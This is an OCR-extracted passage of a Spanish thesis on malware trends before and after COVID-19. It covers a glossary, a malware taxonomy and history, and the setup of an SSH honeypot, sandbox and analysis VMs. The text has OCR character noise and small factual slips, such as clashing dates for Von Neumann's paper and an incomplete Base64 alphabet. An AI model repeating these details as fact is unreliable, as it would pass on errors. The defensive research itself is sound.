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IT

Resumen

Dada la rapida digitalizacién global, especialmente acelerada por el COVID-19, se han
creado nuevos puntos de ataque y recursos que pueden ser aprovechados por Advanced
Persistent Threats (APTs) y otros usuarios maliciosos. Esta situacién es agravada ain
mas por el cambio de mentalidad de la poblacién, donde se ha normalizado el teletrabajo
(fuera de entornos securizados) y tareas como la banca o compras en linea son accesibles
para personas de todo tipo.

En este proyecto se tratard de analizar la situacién pre y post COVID-19, de forma
que se resuelvan ciertas hipotesis sobre el interés y métodos de los usuarios maliciosos asi

como la adaptacion del malware a la pandemia.
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Abstract

Due to the quick digitization of assets, specially accelerated by COVID-19, new attack
vectors and resources have been created. The situation is worsened by the change in
people’s behaviour, where remote work (therefore in non secured digital spaces) and tasks
like online banking or shopping have been normalized.

In this project, the situation before and after COVID-19 will be analyzed, in a way
that certain hypothesis related to the interest and methods of malicious users would be

resolved.
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Capitulo 1

Introduccion

1.1. Glosario

Hosting: Servicio a través del cual se presta almacenamiento y capacidad de cémputo
con el fin de mantener un servicio web o similar.

Contenedor Docker: Paquete de software ligero, independiente y ejecutable que
incluye todo lo necesario para ejecutar una aplicacion: Cédigo, tiempo de ejecucion, he-
rramientas del sistema, bibliotecas del sistema y configuraciones. Véase la pagina principal
de Docker para més informacién[18].

Paste: Del inglés “pegar”, es una palabra cominmente utilizada para referirse a texto
plano compartido en linea. Existen pdginas dedicadas exclusivamente a compartir este
tipo de contenido. Ejemplos de estas son: pastebin|19|, hastebin|20]| o pastesite|21].

API: Del inglés “Application Programming Interface”, es un tipo de interfaz para
operar con un servicio software mediante métodos o funciones expuestas. Este tipo de
interfaz no estd disenada para ser intuitiva para el usuario, sino para conectar varios
productos software entre si.

Data Scraping: A menudo, los productos software no proveen de interfaces API al
usuario. El proceso de obtener de forma automatizada contenido de otro programa es lo

que se denomina como “Data Scraping”.

INTRODUCCION



INTRODUCCION

Indice 2

Ofuscacién: Se denomina ofuscacion al proceso por el cual un cédigo fuente o maquina
se enrevesa, consiguiendo un cédigo mas dificil de entender, pero manteniendo el funcio-
namiento original.

RegEx: Del inglés “Reqular Ezpression”, es una secuencia de caracteres comtnmente
usada para la buisqueda de patrones.

Baseb6/: Se trata de un sistema de numeracién basado en la posicién que permite
representar el contenido inicamente mediante caracteres imprimibles ASCII. Concreta-
mente, se hace uso del rango de caracteres: A-Z, a-z y 0-9.

APTs: Del inglés “Advanced Persistent Threats” y traducido como “Amenaza Persis-
tente Avanzada”. Utilizado para denominar a una organizacién, estado o cualquier tercero
que presente intencién de atacar un objetivo determinado mediante el uso de varios vecto-
res de ataque y durante un continuado periodo de tiempo. A menudo se utilizan ataques
de alta complejidad o de no conocimiento piblico.

Honeypot: Un honeypot o senuelo, tiene como objetivo atraer a usuarios maliciosos.
El honeypot se ubica en una red o sistema y simula el comportamiento real, haciendo
creer a los atacantes que han entrado en un sistema vulnerable. Realmente, el sistema se
encuentra aislado y permite obtener detalles del ataque como del atacante. Remitase a la
seccién 3.1.1 para més informacion.

Malware: Se define como malware a cualquier software malicioso. Es decir, cualquier
tipo de software que posea intenciones maliciosas [22]. Remitase a la seccién 2.1 para mas
informacion.

Payload: Traducido literalmente del inglés como “carga itil”, es un conjunto de datos
transmitidos. No obstante, dentro del argot de seguridad, se denomina como payload a la
parte del malware encargada de realizar la accién maliciosa después de la infiltracién.

C2 (Command and control): Método por el cual un atacante es capaz de controlar
un sistema informatico comprometido. Se basa en una infraestructura esclavo-maestro por

la cual el maestro es capaz de enviar comandos al esclavo.
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Clickjacking: Se trata de una técnica maliciosa por la cual el usuario es enganado
para hacer “click” en cierto contenido. A menudo, esta técnica es usada para obtener
informacion confidencial.

Funciéon Hash: Funciones con una sola direccion, es decir, que no existe operacion
inversa [23]. Ademads, si hubiera algiin cambio en las entradas, se produciria el “efecto
avalancha” (si la entrada cambia ligeramente, la salida variaria significativamente).

Ezxploit: Se conoce como “exploit” a una pieza de software o conjunto de comandos que
aprovechan una vulnerabilidad para causar un comportamiento indeseado en el software,
hardware o cualquier elemento electrénico.

Indicador de compromiso (IOCSs): Se refiere a datos que podrian indicar que el

sistema ha sido comprometido, es decir, cualquier evidencia de un ataque.

1.2. Motivacion

Con la llegada de la 4* revolucion industrial y la digitalizacién global de los recursos,
el desarrollo tecnolégico ocurre a velocidades vertiginosas. Sin embargo, el mayor cambio
a nivel global se produjo con la llegada del Sars-CoV-2 [24] (comtiinmente denominado
COVID-19). La innovacién y digitalizacién se han convertido en algo imprescindible,
transformédndose en el principal antidoto para las industrias, empresas y cualquier otro
tipo de comercio [25].

Sin embargo, toda esta digitalizacién, dejé al descubierto nuevos puntos de ataque y
recursos que pueden ser aprovechados por Advanced Persistent Threats (APTs) y usuarios
maliciosos (especialmente cuando los modelos de negocio basados en el manejo de datos
son cada vez mds predominantes|26]).

El rdpido avance, agravado por el desarrollo, en muchas ocasiones desestructurado
y con falta de conocimiento técnico, da lugar a infraestructuras no lo suficientemente

probadas con software inmaduro y con vulnerabilidades.
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Cabe destacar también la modificacién del entorno de trabajo. Los entornos antes
securizados (como podrian ser las oficinas) se han convertido en el propio domicilio|27]
donde la seguridad depende del individuo (a menudo con un conocimiento escaso o incluso
nulo de seguridad informatica).

De manera colateral, se han producido también cambios en los propios individuos, a
los que la pandemia ha transformado. Muchos han perdido el miedo a realizar operacio-
nes cotidianas de forma online. Ejemplos son: La banca, la compra del supermercado o
tramites administrativos [28].

Es por ello que podemos observar campanas de malware que tienen como objetivo
inicial el individuo y, mediante el respectivo movimiento lateral y escalado, pretenden
llegar a objetivos mds grandes y de mayor interés para los sujetos malintencionados [29].

Por todo lo expuesto, se observa claramente que existen nuevos dilemas para la segu-
ridad informédtica que se deben de afrontar. Concretamente, en este trabajo se tendra en

cuenta una visién desde el punto de vista del malware.

1.3. Objetivos

Se propone exponer la situaciéon pre y post COVID-19 desde el punto de vista del
malware; analizando campanas destacadas pre-COVID, donde el entorno de trabajo era
controlado. Se estudiaran los diversos puntos de entrada utilizados y métodos de difusion,
asi como su intencién y modelo de negocio.

Posteriormente, se obtendrdn muestras maliciosas a través de los siguientes métodos:
» Implantacion de honeypots: Se desplegardn honeypots en la nube.

» Scraping de paginas publicas de pastes (pastebin y similares): Se utilizaran
APIs para obtener los textos publicados. Cuando esto no sea posible, se hard scra-
ping manual con Python. Se espera obtener muestras codificadas en base64, URLs

maliciosas y utilizacién de estas plataformas como C2 (Command and Control).
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= Correos maliciosos: Se analizardn emails sospechosos. Se espera encontrar estafas,
URLs y ficheros adjuntos maliciosos. En este caso, se espera no solo malware, sino

técnicas de clickjacking o similar.

= Muestras desde “Zoos” o paginas utilizadas por investigadores: Existen
diversas paginas donde los investigadores publican hashes y ficheros (empacados y

desempacados), se tomaran algunas de esas muestras.

Se obtendrédn y analizardn muestras hasta que el espacio muestral sea suficiente para
determinar que es representativo de las técnicas de vanguardia (véase la seccién 2.3 para
més informacién sobre el espacio muestral).

Tras finalizar este proceso, se analizardn todos los datos obtenidos. Se hard hincapié
en datos como: Procedencia de los ataques, métodos de ofuscacion utilizados, exploits y
métodos droppers utilizados, etc. de forma que se puedan refutar o aceptar las siguientes

hipétesis:

Se registra un incremento del Malware as a Service como modelo de negocio.

La digitalizacion de los bienes y recursos exponen nuevas superficies de ataque.

Se produce un incremento en los ataques basados en ingenieria social.

Existe intencién de realizar actividades de post-explotacién (como movimiento la-

teral) con intencién de causar dafios mayores.

Ademsds, se analizardn campanas realizadas a empresas de forma que se puedan ana-
lizar los ataques de APTs méds complejas y se comparardan con los resultados obtenidos

por nuestra cuenta. De nuevo, se aceptaran o refutardn las siguientes hipétesis:

= Existe una brecha entre los métodos de ataque a empresas y los ataques a individuos.
» El modelo de negocio para atacar a empresas y a individuos es diferente.

» La rapida digitalizacién ha provocado en muchos casos que las infraestructuras no

sean tan robustas y probadas como deberian.
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1.4.

Estructura de la memoria

La estructura de la memoria se corresponde con la metodologia que se seguira durante

el des

arrollo del proyecto, de forma que el lector pueda seguir el proceso mental del autor.

Se presentan las siguientes secciones:

. Introduccién al malware: Se realiza una introduccién al concepto del malware,

asi como sus antecedentes historicos. También se introduce el concepto de familias,
lo que nos permite tener un espacio muestral representativo y sobretodo, factible de

analizar.

. Tecnologias y herramientas utilizadas: Se muestran una serie de tecnologias y

herramientas que serdn utilizadas, asi como su proceso de instalacién.

. Metodologia: Se expone la metodologia de trabajo, tanto general del proyecto

como para el andlisis de las muestras de malware.

Obtencién de muestras: Se obtienen muestras de malware mediante los métodos

expuestos en la seccién 1.3.

. Analisis de criterios: Se obtendrdan una serie de criterios que guiardn las fases

posteriores.

. Estado del arte: Se proporciona una visién general de la situaciéon pre y post

COVID, basédndose en la literatura publicada.

Anailisis de malware: Se realizard un anélisis del malware siguiendo la metodologia
que se presenta en la seccién 4.2. En dicha seccién se analizan muestras de diferente

indole de forma que se puede conocer el panorama completo.

. Resultados: Se refutardn o aceptardn las hipétesis planteadas en la seccién 1.2.

Conclusiones: Se resumen los resultados obtenidos y se repasa de forma general

todo el proceso.
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Introduccion al malware

2.1. ;Qué es?

Se define como malware a cualquier software malicioso. Es decir, cualquier tipo de soft-
ware que posea intenciones maliciosas[22|. Cabe destacar que el malware no es sinénimo de
virus, pues el concepto de malware es més amplio y engloba tanto a los virus informéticos
como a otros software dafiinos (por ejemplo: spyware, adware, etc.).

Segtin su comportamiento, se pueden describir varios tipos de malware:

» Ransomware: Bloquea el acceso al dispositivo o cifra archivos para exigir un res-
cate para devolver el acceso. El origen de esta palabra proviene del inglés “ransom”
(rescate) y la palabra “ware” proveniente de software. Es uno de los tipos de malware
que mas se encuentran en auge|30| y su beneficio mediante criptomonedas, dificiles
de rastrear, ha dado lugar al “RaaS” siglas para “Ransomware as a Service” (Ran-
somware como Servicio). Este tipo de servicio permite a grupos criminales ofrecer
kits alquilados o vendidos, que mediante programas de afiliacién, les devuelven un

porcentaje de las ganancias.

s Spyware: Recaba informacion sobre el dispositivo o la red para enviarla al atacante.
El principal interés suele ser cometer algtin tipo de fraude o robo de identidad. Segin

la actividad que se realice, podemos encontrar distintos subtipos:

7
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Keylogger: Es un malware que graba las pulsaciones del teclado y las envia al

atacante. Su objetivo es obtener contrasenas, datos bancarios o personales, etc.

Adware: El objetivo principal es adquirir ingresos mediante publicidad no de-
seada. A menudo se recaudan datos personales para personalizar los anuncios mos-

trados.

InfoStealers: Recaban informacién de los sistemas infectados. Muchos buscan
informacion especifica como contrasenas, historial de navegacion, etc. También es
comin que este tipo de malware se ejecute una sola vez, desapareciendo posterior-

mente con el fin de dejar el minimo rastro posible.

RedShell: Es un tipo de infostealer integrado en los videojuegos. Su fin suele ser
puro marketing. A menudo obtienen gran cantidad de informaciéon como el sistema

operativo, navegadores, fuentes instaladas, direcciones IP, etc.

Virus: Malware adjuntado a otros programas, al ejecutarse modifica o reemplaza

otros programas del dispositivo infectdndolo.

Gusanos: El objetivo principal de este tipo de malware es multiplicarse. Al infectar
un dispositivo intentard replicarse en otros dispositivos adicionales. Algunos de los
métodos para distribuirse posteriormente son el correo electrénico o programas P2P
(Peer to Peer). Gran parte de este tipo de malware se usa en conjunto de malware
adicional[31]. Cabe destacar que dicho malware, a diferencia de los virus, no infecta

archivos, solo realiza copias de si mismo en diferentes ubicaciones del dispositivo.

Troyanos: Se presenta al usuario como malware legitimo, pero una vez que se
encuentra en el dispositivo puede robar informacién o instalar otras amenazas.

El término proviene de la epopeya del caballo de Troya, dentro de la “Odisea de

Homero”[32].

Rootkit: Malware que prevalece mayormente oculto o que esconde otro software.

Permite un acceso continuo al dispositivo. El origen de esta palabra proviene del
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inglés: “root” (raiz) y la palabra “kit” (refiriéndose a las herramientas que provee el
malware). La instalacion de este tipo de malware suele ocurrir tras obtener acceso
de administrador, ya sea mediante el escalado de privilegios o cualquier método de
obtencién de la contrasena del usuario. La deteccién y eliminacion de este tipo de
malware suele ser complicada, pues a menudo corrompe al software que deberia

detectarlo y puede residir en el kernel o firmware.

= Mineros silenciosos: Término para el malware que realiza mineria de criptomo-
nedas de forma maliciosa. Este tipo de malware utiliza los recursos del dispositivo
para minar criptomonedas para el atacante. Aunque gran cantidad de ejemplares
de este tipo solian ser programas que se descargaban y ejecutaban en el dispositivo,
actualmente es bastante extendido el uso de mineros mediante el navegador con

Javascript|33]. A este suceso se le denomina “CryptoJacking”.

2.2. Antecedentes historicos

El término “virus informdtico” se presenta por primera vez en la literatura en 1984
cuando Fred Cohen escribi6 su articulo “Computer Viruses — Theory and Experiments”|34]
en el cual denominaba a programas que se autoreplicaban “virus”.

Sin embargo, el concepto existia ya mucho antes. En 1949, el profesor John Von Neu-
mann de la Universidad de Illinois publicé en 1969 un articulo llamado “Theory of self-
reproducing automata”35] en el que describia como un programa de ordenador podria ser
disenado para replicarse a si mismo.

A partir de ese articulo, se publicaron otros en los que se describian implementaciones
completas de la teorfa expuesta por Neumann. Ejemplo es el articulo “Selbstreproduzieren-
de Automaten mit minimaler Informationsibertragung”[36] (en espanol: Autdmatas que
se reproducen a si mismos con un minimo intercambio de informacion) de Veith Risak en

1972.

INTRODUCCION
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De esta forma, el término malware se acuné mucho més tarde por Yisrael Radai en
1990[37|, y haciendo referencia a todo tipo de software malicioso que conocemos actual-
mente (troyanos, gusanos, etc.).

El primer virus informético que se encontré (que no fuera un concepto de laboratorio)
fue “Elk Cloner” en 1982(38]. Puesto que el acceso a internet no estaba extendido atn, la
propagacién se produjo mediante disquetes que infectaban los sectores de arranque.

Los primeros gusanos con infeccién por red ocurrieron en sistemas multitarea Uniz|[39].
Estos usaban vulnerabilidades en programas de servidores para crear un proceso indepen-
diente. Notese que el comportamiento de los gusanos actuales sigue siendo similar.

Posteriormente, en los 90, con la aparicién de la plataforma de Microsoft Windows y
su suite Office, proliferé el malware que abusaba de las funciones macro de documentos
y hojas de célculo|22].

A partir de ahi, se comenzaron a utilizar los canales de comunicacién que estuvieran
de moda, por ejemplo, mensajeria instantanea o redes sociales con publicidad deshonesta.

Estos tltimos son los que hemos definido en la seccién 2.1 como “adware”.

Desde 2012 se comenzé a popularizar mundialmente el malware denominado “ransomware|40,

causando danos monetarios y fisicos enormes a las infraestructuras, tanto a empresas como
a particulares.

Finalmente, desde 2017, y posiblemente por el reciente auge en popularidad y valor
de las criptomonedas, se ha popularizado la practica del “cryptojacking”41|, donde el

dispositivo infectado se utiliza para obtener criptomonedas mediante minado.

2.3. Familias y espacio muestral

Aunque existen muchas campanas de malware activas, obtener una muestra represen-
tativa es sencillo. Esto se debe a que las muestras se pueden clasificar por familias.
Se conoce por familia de malware al grupo de aplicaciones que utilizan técnicas de

ataque similares|42|. Clasificar el malware por familia puede ser de gran utilidad, no solo
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para su categorizacién, sino para el andlisis de las muestras. Para clasificar las muestras
por familias, se buscan ciertos identificadores, los cuales pueden clasificarse en estdticos o
dindmicos segtin el método de extraccion.

Algunas formas estdticas para extraer identificadores pueden ser secuencias de cédigo
mdquina, instrucciones binarias o importaciones de librerias dindmicas. Por otro lado,
algunas formas dindmicas podrian ser comandos utilizados, comunicaciones de red y fun-
ciones o llamadas al sistema|43].

Por suerte, la comunidad de anadlisis de malware sigue una filosoffa similar a la comu-
nidad open-source. No solo por las numerosas herramientas de cédigo abierto, sino por la
gran interaccién que existe entre los investigadores a la hora de compartir conocimiento
y muestras maliciosas.

Como primer ejemplo de herramienta, se puede encontrar URLhaus|44], un proyec-
to de abuse.ch|45] dirigido por la Universidad de Berna. Esta herramienta permite una
simbiosis entre empresas e investigadores en la cual los individuos proponen URLs que
poseen malware. Las empresas estdn directamente interesadas, ya que permite a sus ad-
ministradores de sistemas proteger sus redes y clientes de conocidas amenazas.

Las estadisticas se encuentran disponibles de forma abierta, por lo que podriamos
hacernos una idea de la gran cantidad de URLs que se presentan diariamente pero las

pocas familias en las que se pueden clasificar.

2.5K
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500
2021-09-07  2021-09-09  2021-09-11  2021-09-13  2021-09-15  2021-09-17  2021-09-19  2021-09-21  2021-09-23  2021-09-25  2021-09-27 2021-09-29  2021-10-01  2021-10-03  2021-10-05

Date

Figura 2.1: URLs que contienen malware enviadas a URLhaus en los iltimos 30 dias.
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Como se puede observar en la figura 2.1 se publican méds de 2000 URLs diarias que se
podrian atribuir a campanas de malware distintas. Sin embargo, si observamos las familias
de malware que se han registrado en la plataforma, puede denotarse que la mayoria de
muestras pueden clasificarse en torno a 10 familias.

En este caso, el identificador para su clasificaciéon ha sido el payload, es decir, el com-
ponente del ataque que causa dano a la victima.

Heodo B payload count

Quakbot
TrickBot
Dridex

Gozi

Signature

CoinMiner

IcedID

ZLoader
Ransomware.GandCrab

AgentTesla

0 100K 200K 300K 400K 500K

Figura 2.2: Payloads por familia de malware identificada por URLhaus.

Por otro lado, podemos analizar los datos que nos provee la herramienta OTX de
Alien Vault[46]. Esta herramienta funciona de forma similar a la presentada anteriormente.
En esta plataforma, la comunidad publica informes a los que llaman “Pulsos”. Estos pulsos
poseen informacién de indicadores de compromiso (I0Cs), software objetivo y muchos
otros detalles.

En su pédgina “Dashboard” se pueden observar representaciones graficas de los datos
que se publican en tiempo real. Por ejemplo, podemos ver todas las muestras por familia

de malware que se han presentado en los ultimos 30 dias (fig. 2.3).
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Sandbox Alerts

Figura 2.3: Familias de malware combinadas en clusters.

También es posible ver las mismas muestras clasificadas por tipo de malware segin su

comportamiento en un espacio temporal de 30 dias (fig. 2.4).
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Figura 2.4: Familias de malware clasificadas por categoria.
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Capitulo 3

Tecnologias y herramientas utilizadas

En este capitulo se van a introducir las distintas herramientas y tecnologias utiliza-
das para llevar a cabo este proyecto. Para hacer una clasificacién, se dividirdn segin su

localizacién, es decir, instaladas en la nube o instaladas de forma local.

3.1. Configuracion en la nube

Se define como servicio en la nube a cualquier servicio que se utilice a través de
Internet. La ventaja principal que brinda este tipo de servicios es la posibilidad de obtener
una direccion que hace a la maquina o servicio accesible desde cualquier lugar del mundo.

Ademas, de esta forma, el servicio puede estar corriendo las 24 horas casi sin interrupcion.

3.1.1. Honeypots

Un honeypot o senuelo tiene como objetivo atraer a usuarios maliciosos. El honeypot, se
ubica en una red o sistema y simula el comportamiento real, haciendo creer a los atacantes
que han entrado en un sistema vulnerable. Realmente el sistema se encuentra aislado y
permite obtener detalles tanto del ataque como del atacante.

Existen diversos tipos de honeypots: Los honeypots de baja interaccién y los de alta

interaccién. Tal y como su nombre indica, la principal diferencia entre ellos recae en la

15
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cantidad de interaccién que existe entre el honeypot y el atacante.

Los honeypots de baja interaccién suelen utilizar pocos recursos y su complejidad
de cédigo y comportamiento son limitados. Estos se suelen cenir a simular servicios
cominmente utilizados por los atacantes. Por otro lado, los honeypots de alta interaccion
suelen albergar diversos servicios a la vez y orquestarlos para que trabajen en conjunto,
esto supone un coste mucho mayor. A cambio de este mayor coste, se pueden obtener mé&s
detalles de los intereses del atacante y de su metodologia.

No obstante, en este proyecto utilizaremos un honeypot de baja interaccién, pues

actuar de forma pasiva es mdas que suficiente para nuestras necesidades.

SSH Honeypot en Amazon Web Services (AWS)

Amazon Web Services (AWS)[47] es el servicio de cloud computing que proporcio-
na Amazon. En concreto, para este honeypot se hard uso de su servicio denominado
“Lightsail”[48|. Lightsail es un proveedor de servidor virtual privado (VPS) de fécil uso y
con planes bastante asequibles.

El sistema a replicar es una médquina con un SSH (Secure Shell) publico. SSH es
probablemente el protocolo mas utilizado entre administradores de sistemas pues permite
realizar administracién de forma remota.

Para esto no se precisa de gran capacidad de computo, de hecho, tal y como se puede ver

en la figura 3.1 la opcién més asequible (de tan solo 512MB y 1vCPU) seréd la seleccionada.
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Choose your instance plan®
w Check out our new 16 GB and 32 GB RAM bundles!

Transfer

Sort by: Memory ‘ Processing ‘ Storage

First 3 months free! First 3 months free! First 3 months free!

$3.50 USD $5 USD $10 USD $20 USD $40 USD
512 MB 1GB 2GB 4GB 8GB
1vCPU 1vCPU 1vCPU 2vCPUs 2vCPUs
20 GB 55D 40 GB 55D 60 GB 55D 80 GB 55D 160 GB 55D
1TB 278 3TB 4TB 5TB

<

For a limited time, new Lightsail customers can try the selected plan for free for three months.
Learn more about the free trial in Lightsail. (5

Figura 3.1: Planes de pago en AWS Lightsail.

Price per month
Memory
Processing
Storage
Transfer

El proceso de creacién de la instancia es bastante sencillo, pues solo es necesario

establecer el nombre, regién y sistema operativo deseado. En este caso, el sistema operativo

serd Ubuntu 20.04, que es la version que se ofrece méds reciente. Ademds, es necesario

descargar la clave de SSH (fig. 3.2) que serd la que se utilizard para iniciar sesién en la

maquina.

SSH key pair manager (2

Select, create, or upload the key pair you would like to use to SSH into your instance.

Create New = Upload New (3]

® Defaultkey @ Download ¥

Automatic snapshots create a backup image of your instance and attached disks on a daily

schedule.

[0 Enable Automatic Snapshots

Figura 3.2: Clave SSH de la instancia.
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Tal y como se puede ver en la figura 3.3, tras dar permisos al archivo de la clave SSH,

es posible acceder sin problemas al servicio.

L / -1 LightsailDefaultKeyPair-eu-west-3.pem ubuntu@35.181.160.212
authe thlt" of host '35.181.166.212 (35.181.160.212)' can't tablis
ECDSA key fingerprint is 256 rekqDcIgxVYUm3BhAOCFnQoSK5+Hfau61ludbKa7s.
Are you sure you want to continue connecti (yes/no ingerprint])? yes
Warning: Permanently added '35.181.160.212' (ECDSA) to the list of known hosts.

4 for 'nght sailD
d that yuur prlvat

t-3.pem": bad permissions
(publickey).
3 od 600 LightsailDefaultKeyPair
remnux L D ssh -i LightsailDefaultKeyPair-eu-w
Welc tu Ubuntu 20.04 LTQ (GNU/Linux 5.4.0-1018-aws x86 64)

* Documentation: https://help.ubuntu.com
* Managem c https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue Oct 19 10:04:01 UTC 2021

Figura 3.3: Uso del comando chmod para gestionar los permisos del certificado.

Y

Sin embargo, SSH utiliza el puerto 22 por defecto, por lo que para poder usarlo

mientras que tenemos el honeypot activo en su puerto, debemos cambiar el nimero de

puerto a utilizar. Esto es bastante sencillo, solo basta con modificar el puerto en el fichero

de configuraciéon del daemon de SSH (fig. 3.4) y cambiar las reglas del firewall para

permitir el trafico por el nuevo puerto (figuras 3.5 y 3.6).

Figura 3.4: Fichero de configuracién del daemon de SSH.
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ubuntu@ip-172-2¢ 220:~% sudo systemctl reload sshd
ubuntu@ip-172-26-5-220:~% sudo ufw allow 61234/tcp

Rules updated
Rules updated (vé6)

Figura 3.5: Reglas del firewall “ufw”.

IPv4 Firewall @)

Create rules to open ports to the internet, or to a specific IPv4 address or range.

Learn more about firewall rules (3

+ Add rule

Cl

Custom TCP 61234 “

Figura 3.6: Reglas del firewall en AWS.

Finalmente, es necesario instalar el propio honeypot. En concreto utilizaré uno que
estd disponible en Github con titulo: “Basic ssh honeypot with downloader”|49|. Se posee
como requisito Docker y Docker compose. Siguiendo los pasos de su documentacion:

\$ sudo apt-get update
\$ sudo apt-get install apt-transport-https ca-certificates curl gnupg lsb-release

\$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o
— /usr/share/keyrings/docker-archive-keyring.gpg

\$ "deb [arch=$(dpkg --print-architecture)
— signed-by=/usr/share/keyrings/docker-archive-keyring.gpg]
— https://download.docker.com/linux/ubuntu $(1lsb_release -cs) stable" | sudo tee

— /etc/apt/sources.list.d/docker.list > /dev/null
\$ sudo apt-get update

\$ sudo apt-get install docker-ce docker-ce-cli containerd.io

Puesto que se trata de un contenedor Docker, su instalacién y configuracién es muy
sencilla. Basta con ejecutar los siguientes comandos:
\$ iptables -A PREROUTING -t nat -p tcp --dport 22 -j REDIRECT --to-port 2222

\$ ssh-keygen -t rsa -f server.key

TECNOLOGIAS Y
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\$ docker-compose build

\$ docker-compose up

Notese el primer comando, estamos realizando lo que se denomina “port fordwarding”.
Béasicamente este concepto significa que el trifico de un puerto se redirige a otro. Esto
es realmente necesario ya que los puertos en el rango 1-1023 son puertos privilegiados, es
decir, requieren de permisos de administrador. Otra opcién serfa correr este servicio con
permisos de administrador, aunque esto es una préctica nefasta desde el punto de vista
de la seguridad.

Para resumir, la configuracion que tenemos actualmente es la siguiente:

Puerto: 22 Puerto: 2222

-l /$ Honeypot
Atacante oneypo

Firewall

Firewall

Investigador
J Q SSH Real

Puerto: 61234

Figura 3.7: Diagrama de la infraestructura del honeypot.

= Un puerto 22 abierto a internet.

= Una configuracién de firewall que envia a nivel local todo el trafico del puerto 22 al
puerto 2222 de forma que el honeypot pueda ejecutarse sin permisos de administra-
dor. De esta manera, el atacante no tiene conocimiento de esta regla y piensa que

su conexién al puerto 22 es un sistema SSH comiun.

» Un puerto 61234 con el puerto SSH real, que serd el utilizado para acceder a la

maquina.
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remnux@remnux: ~/Downloads

remnux@remnux: ~/Downloads .241) with username ub|
$ ssh ubuntu@35.181.160.212 - 3:20,377 - root - - .227.241): username: ubuntu,

ubunt 66 d

0.212's password:
Welcome to Ubuntu 18.64.4 LTS (GNU/Linux 4.15.6-128-generic x86_64)

s TRYING
s Connection to 35.181.160.212 closed. e - on (217.61
remnux@remnux:~/Downloads$ [| - - on (217.61

- Client SSH cipher (217.61.2:
- INFO - Command receil 7

Figura 3.8: El honeypot en accion.

Tal y como se puede apreciar en la figura 3.8, ya se encuentra en ejecucién y se guardan
los logs en los ficheros “ssh__honeypot.log” y “ssh__honeypot_downloader.log”.

En cuestiéon de minutos se aprecia una gran actividad en el honeypot y en solo cuestion
de horas se obtuvieron muestras de malware. En la figura 3.9 se puede ver cémo obtengo
un par de muestras que habian sido obtenidas desde el VPS a mi méaquina virtual local.
El uso y obtencién de muestras desde el honeypot se desarrollara en detalle en la seccion

5.1.

ubuntu@ip -5-2 /basic_ssh_honey t -la
total 28
root root 4096
ubuntu ubuntu 4696
0 root 13956
Oct 19 :46
ssh_honeypot_with_downloader/uploaded_files$ I

remnux@remnux: ~/Downloads
wnloads$ scp -r -P 61234 -1 LightsailDefaultKeyPair-eu-west-3.pem ubuntu@35.181.49.216:./basic ssh hone|

10 408KB .TMB/s 00:00

10 246 4.8KB/s 00:00

10 9356 33.4KB/s 00:00

10 2801 4.0KB/s 08: 00

10 2610 .4KB/s 00:00

10 576 .3KB/s 00:00

10 3 6.6KB/s

18

18

87abfea37ff6fbeb5sacb122.zip 10 £

8923bb4758ee4f8bb122d61391f373bf2bdcc705142beb758bfe22ecd7740e26.z1ip l00% 14KB 271. 5 0e:

Figura 3.9: Obtener resultados del honeypot.

3.1.2. Cuckoo Sandbozx

Cucko sandboz[50] es uno de los sistemas de andlisis de malware de forma automética
més utilizados. Ademas, es un software modular y de cédigo abierto.

Aunque es posible ejecutar este software virtualizado de forma local, la autoridad de
informacién de sistemas de Estonia (CERT-EFE)|51], provee, probablemente, la instancia

de Cluckoo mas conocida entre los investigadores.
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Esta instancia presenta en el momento méas de 120TB de almacenamiento, 56 cores
de CPU y 738 GB de memoria RAM. Puesto que obtener una médquina con tales ca-
racteristicas es bastante costoso, haré uso de este servicio gratuito. El servicio se puede

encontrar en la siguiente URL: https://cuckoo.cert.ee/

3.2. Virtualizacion Local

La posibilidad de simular varias instancias de sistemas operativos en la misma maéaquina
y simular un sistema real con politicas de seguridad mucho m4s restrictivas, hacen de la
virtualizacién una herramienta muy poderosa para el andlisis de malware.

Para la virtualizacién local se ha utilizado el software VM Ware Workstation Pro[52].
Dicho software es una solucion sencilla para la creaciéon de méaquinas virtuales.

En realidad, cualquier software de virtualizaciéon hubiera bastado, siempre que el soft-
ware posea capacidades de realizar “snapshots”. Esta caracteristica, permite realizar pun-
tos de guardado del estado de la mdquina virtual, pudiendo volver a ellos cuando se
desee.

También es importante que se provea la capacidad de crear redes virtuales y conectar
o desconectar la maquina virtual del internet; de esta forma, la maquina virtual puede
quedar aislada y no infectar al resto de dispositivos de la red.

Para la realizacién del proyecto, se ha hecho uso de varias mdquinas virtuales:

3.2.1. REMnux

REMnuzx|53] es realmente un conjunto de herramientas para la ingenieria inversa, sin
embargo, también proveen una distribucion Linux basada en Ubuntu que tiene todas las

herramientas ya instaladas.


https://cuckoo.cert.ee/
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Algunos de los usos que se mencionan en la web del proyecto son: analisis de cédigo ma-
licioso, ingenieria inversa de forma dindmica, andlisis forense, exploracién de interacciones

de red, anadlisis de documentos maliciosos, etc.

Import Virtual Machine

Store the new Virtual Machine

Provide a name and local storage path for the new virtual
machine.

Mame for the new virtual machine:

remnux-v7-focal (2)|

Storage path for the new virtual machine:

D:\Documentos\Virtual Machines\remnux-v7-focal (2) Browse...

Help Cancel

Figura 3.10: Importacién del “ova”a VMWare Workstation.

Su instalacion es muy sencilla, pues se provee un archivo estdandar .OVA. Un archivo
.OVA permite importar directamente la médquina virtual totalmente configurada. Tal y
como se puede ver en la figura 3.10, solo hace falta especificar el nombre que le queremos
dar a la maquina y la ruta al .OVA.

Se expondra su uso y las herramientas que posee durante el propio andlisis de malware.

3.2.2. Windows 10

También serd necesaria una méquina virtual con el sistema operativo de Windows 10.
De esta forma, podremos ejecutar el malware y analizar de forma dindmica las muestras.
Microsoft provee méaquinas virtuales para desarrolladores e investigadores de forma
gratuita. Se pueden obtener desde la pagina: https://developer.microsoft.com/en-

us/microsoft-edge/tools/vms/
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Virtual Machines

Test IE11 and Microsoft Edge Legacy using free Windows 10
virtual machines you download and manage locally

Select a download

Virtual Machines

‘ MSEdge on Win10 (x64) Stable 1809 v ‘

Choose a VM platform:

‘ VMware (Windows, Mac) ~ ‘

Download zip >

Figura 3.11: Descarga de Windows 10.

La instalacion es exactamente igual que con REMnuz[53], basta con importar el fichero
.0vf. La contrasena por defecto es “Passw0Ord!”.

También serd necesario modificar el espacio de disco asignado, por dos motivos:

1. El malware a menudo busca indicadores de encontrarse en médquinas virtuales, un

espacio en disco inusual es uno de los utilizados comtnmente.
2. Para instalar el software que necesitamos serdn necesario minimo 60GB.

